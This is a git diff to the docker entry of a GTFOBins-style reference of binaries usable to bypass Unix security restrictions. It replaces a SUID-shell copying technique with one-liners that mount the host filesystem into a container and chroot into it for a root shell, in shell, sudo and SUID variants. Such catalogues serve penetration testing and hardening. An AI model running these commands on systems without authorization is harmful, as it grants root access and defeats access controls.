diff --git a/_gtfobins/docker.md b/_gtfobins/docker.md
index 448c422..beb8c57 100644
--- a/_gtfobins/docker.md
+++ b/_gtfobins/docker.md
@@ -1,13 +1,14 @@
 ---
 description: |
-  Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, e.g. being in the `docker` group. Any other Docker Linux image should work, e.g., `debian`.
+  This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.
 functions:
+  shell:
+    - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
+      code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
   sudo:
-    - code: |
-        sudo docker run --rm -v /home/$USER:/h_docs ubuntu \
-            sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p
+    - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
+      code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
   suid:
-    - code: |
-        ./docker run --rm -v /home/$USER:/h_docs ubuntu \
-            sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p
+    - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
+      code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
 ---